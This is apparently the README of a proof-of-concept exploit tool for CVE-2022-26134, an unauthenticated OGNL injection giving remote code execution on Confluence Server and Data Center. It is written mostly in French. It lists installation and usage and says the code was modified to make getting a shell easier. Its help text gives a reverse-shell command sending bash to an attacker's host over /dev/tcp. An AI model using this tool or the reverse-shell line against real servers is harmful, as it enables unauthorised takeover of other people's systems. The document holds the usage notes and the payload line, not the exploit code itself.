
Un attaquant distant, sans authentification sur Confluence, peut construire une expression OGNL pour l'injecter, exécuter du code arbitraire sur Confluence Server ou Data Center, et a modifié le PoC dans le script existant pour faciliter l'obtention d'un shell.
Un attaquant distant non authentifié peut injecter une expression OGNL pour exécuter du code arbitraire sur Confluence Server ou Data Center. PoC modifié pour faciliter le getshell. Port courant : 8090
pip3 install requests
______ _______ ____ ___ ____ ____ ____ __ _ _____ _ _
/ ___\ \ / | ____| |___ \ / _ |___ \|___ \ |___ \ / /_ / |___ /| || |
| | \ \ / /| _| _____ __) | | | |__) | __) _____ __) | '_ \| | |_ \| || |_
| |___ \ V / | |__|_____/ __/| |_| / __/ / __|_____/ __/| (_) | |___) |__ _|
\____| \_/ |_____| |_____|\___|_____|_____| |_____|\___/|_|____/ |_|
usage: CVE-2022-26134.py [-h] -t TARGET -c COMMAND
CVE-2022-26134
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
URL cible
-c COMMAND, --command COMMAND
exécuter une commande (execute command), obtenir un shell : /bin/bash -c bash -i >& /dev/tcp/{vps ip}/{vps port} 0>&1
python3 CVE-2022-26134.py -t [server ip] -c [command] //执行命令
Ce script est destiné uniquement à des fins de test, ne l'utilisez pas à d'autres fins.